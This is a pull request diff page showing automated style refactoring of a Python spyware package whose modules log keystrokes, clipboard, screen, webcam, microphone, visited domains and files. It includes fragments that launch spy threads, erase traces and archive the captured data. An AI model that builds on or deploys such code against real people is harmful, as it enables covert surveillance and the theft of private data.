Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion SpyWare/AudioLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
This package implements a SpyWare to record from microphone.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:


###################
# This package implements a SpyWare to record from microphone.
# Copyright (C) 2021, 2022 Maurice Lambert
Expand Down Expand Up @@ -48,5 +49,5 @@
except ImportError:
from AudioLogger import main as audioSpy

print(copyright)
print(__copyright__)
audioSpy()
5 changes: 2 additions & 3 deletions SpyWare/ClipboardLogger/ClipboardLogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -194,9 +194,8 @@ def create_if_not_exists(filename: str) -> None:
"""

if not exists(filename):
file = open(filename, "w")
file.write("")
file.close()
with open(filename, "w") as file:
file.write("")
Comment on lines -197 to +198
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function create_if_not_exists refactored with the following changes:



def main(config_filename: str = None, argv: List[str] = argv) -> int:
Expand Down
3 changes: 2 additions & 1 deletion SpyWare/ClipboardLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
This package implements a SpyWare to capture the clipboard.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:


###################
# This package implements a SpyWare to capture the clipboard.
# Copyright (C) 2021, 2022 Maurice Lambert
Expand Down Expand Up @@ -48,5 +49,5 @@
except ImportError:
from ClipboardLogger import main as clipboardSpy

print(copyright)
print(__copyright__)
clipboardSpy()
11 changes: 3 additions & 8 deletions SpyWare/DomainsLogger/DomainsLogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -227,14 +227,10 @@ def get_data_to_save(self, domains: Set[bytes]) -> None:
data_file.seek(0)
readline = data_file.readline

data = readline()

while data:
while data := readline():
for domain in domains:
if domain == data:
domains.remove(domain)
data = readline()

Comment on lines -230 to -237
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function Daemon.get_data_to_save refactored with the following changes:

if domains:
self.data.extend(domains)

Expand Down Expand Up @@ -375,9 +371,8 @@ def create_if_not_exists(filename: str) -> None:
"""

if not exists(filename):
file = open(filename, "w")
file.write("")
file.close()
with open(filename, "w") as file:
file.write("")
Comment on lines -378 to +375
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function create_if_not_exists refactored with the following changes:



def main(config_filename: str = None, argv: List[str] = argv) -> int:
Expand Down
3 changes: 2 additions & 1 deletion SpyWare/DomainsLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
This file implements a SpyWare for connection destinations.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:


###################
# This file implements a SpyWare for connection destinations.
# Copyright (C) 2021, 2022, 2023 Maurice Lambert
Expand Down Expand Up @@ -48,5 +49,5 @@
except ImportError:
from DomainsLogger import main as domainsSpy

print(copyright)
print(__copyright__)
domainsSpy()
6 changes: 1 addition & 5 deletions SpyWare/FilesLogger/FilesLogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -242,13 +242,9 @@ def save(self, data: dict) -> int:
data_file.seek(0)
readline = data_file.readline

data = readline()

while data:
while data := readline():
if new_line == data:
return None
data = readline()

Comment on lines -245 to -251
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function FilesLogger.save refactored with the following changes:

self.data += new_line

def persistent_save(self) -> None:
Expand Down
3 changes: 2 additions & 1 deletion SpyWare/FilesLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@
>>> filesSpy(argv=["FilesLogger.py", "filesSpy.conf"]) # (using argv)
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 60-60 refactored with the following changes:


__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
Expand All @@ -57,5 +58,5 @@
except ImportError:
from FilesLogger import main as filesSpy

print(copyright)
print(__copyright__)
filesSpy()
5 changes: 1 addition & 4 deletions SpyWare/KeyLogger/KeyLogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -185,10 +185,7 @@ def get_event_release(self, event: Key) -> None:
if CONFIGURATIONS.event_release:
self.save(f"RELEASE: {self.get_event_char(event)}\n")

# code = self.get_code(event)

is_pressed = self.is_pressed
if is_pressed:
if is_pressed := self.is_pressed:
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function KeyLogger.get_event_release refactored with the following changes:

This removes the following comments ( why? ):

# code = self.get_code(event)

is_pressed.pop()

return self.run
Expand Down
3 changes: 2 additions & 1 deletion SpyWare/KeyLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
This file implements a keylogger.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:


__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
Expand All @@ -48,5 +49,5 @@
except ImportError:
from KeyLogger import main as keySpy

print(copyright)
print(__copyright__)
keySpy()
3 changes: 2 additions & 1 deletion SpyWare/ScreenLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
This file implements a SpyWare to capture the screen.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:


__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
Expand All @@ -48,5 +49,5 @@
except ImportError:
from ScreenLogger import main as screenSpy

print(copyright)
print(__copyright__)
screenSpy()
40 changes: 11 additions & 29 deletions SpyWare/SpyWare.py
Original file line number Diff line number Diff line change
Expand Up @@ -183,9 +183,7 @@ def spy(modules: Dict[str, str]) -> int:
This function starts spy modules and stop it on KeyboardInterrupt.
"""

EXITCODE = 0
namespace = globals().copy()
namespace.update(locals())
namespace = globals() | locals()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function spy refactored with the following changes:

threads = []
daemons = []

Expand All @@ -204,23 +202,19 @@ def spy(modules: Dict[str, str]) -> int:
thread.start()

thread = Thread(target=daemon.run_AppData)
thread.daemon = True
threads.append(thread)
thread.start()
else:
thread = Thread(target=daemon.run_for_ever)
thread.daemon = True
threads.append(thread)
thread.start()

thread.daemon = True
threads.append(thread)
thread.start()
try:
join_all(*threads)
except KeyboardInterrupt:
stop_deamons(*daemons)
finally:
join_all(*threads)

return EXITCODE
return 0


def env(keyvalue: str) -> None:
Expand Down Expand Up @@ -465,8 +459,7 @@ def remove_trace(modules: Dict[str, str] = modules) -> None:
This function removes trace of SpyWare.
"""

namespace = globals().copy()
namespace.update(locals())
namespace = globals() | locals()
Comment on lines -468 to +462
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function remove_trace refactored with the following changes:

executable_dir = dirname(argv[0])

if glob(join(executable_dir, "*/*.py")):
Expand Down Expand Up @@ -502,9 +495,7 @@ def archive(modules: Dict[str, str] = modules, mode: str = "") -> str:
name = choices(ascii_letters + digits, k=choice(range(1, 15)))
filename = f"archive_{name}.tar" + f".{mode}" if mode else mode

namespace = globals().copy()
namespace.update(locals())

namespace = globals() | locals()
Comment on lines -505 to +498
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function archive refactored with the following changes:

with tar_open(filename, f"w:{mode}") as file:

for module in modules:
Expand Down Expand Up @@ -554,11 +545,10 @@ def get_modules(arguments: Namespace) -> Dict[str, str]:
active_modules = {}

for module, config in modules_config.items():
if is_mode_donotrun:
if config is not None:
if config is not None:
if is_mode_donotrun:
del modules_copy[module]
else:
if config is not None:
else:
Comment on lines -557 to +551
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function get_modules refactored with the following changes:

active_modules[module] = config

return modules_copy if is_mode_donotrun else active_modules
Expand Down Expand Up @@ -588,15 +578,7 @@ def main() -> int:
elif tar is not None:
register(archive, active_modules, tar)

EXITCODE = spy(active_modules)

# tar = arguments.tar
# if arguments.remove:
# remove_trace(active_modules)
# elif tar is not None:
# archive(active_modules, tar)

return EXITCODE
return spy(active_modules)
Comment on lines -591 to +581
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function main refactored with the following changes:

This removes the following comments ( why? ):

# tar = arguments.tar
# elif tar is not None:
#     remove_trace(active_modules)
#     archive(active_modules, tar)
# if arguments.remove:



if __name__ == "__main__":
Expand Down
3 changes: 2 additions & 1 deletion SpyWare/WebcamLogger/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
This file implements a SpyWare to take picture with Webcam.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:


__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
Expand All @@ -48,5 +49,5 @@
except ImportError:
from WebcamLogger import main as webcamSpy

print(copyright)
print(__copyright__)
webcamSpy()
3 changes: 2 additions & 1 deletion SpyWare/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
This file implements a complete spyware.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 76-76 refactored with the following changes:


__version__ = "1.0.4"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
Expand Down Expand Up @@ -73,4 +74,4 @@
from . import WebcamLogger
from .SpyWare import main as spyware

print(copyright)
print(__copyright__)
4 changes: 2 additions & 2 deletions SpyWare/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
This file implements a complete spyware.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 46-47 refactored with the following changes:


__version__ = "1.0.4"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
Expand All @@ -43,8 +44,7 @@
__license__ = license
__copyright__ = copyright

print(copyright)

print(__copyright__)
try:
from SpyWare import main
except ImportError:
Expand Down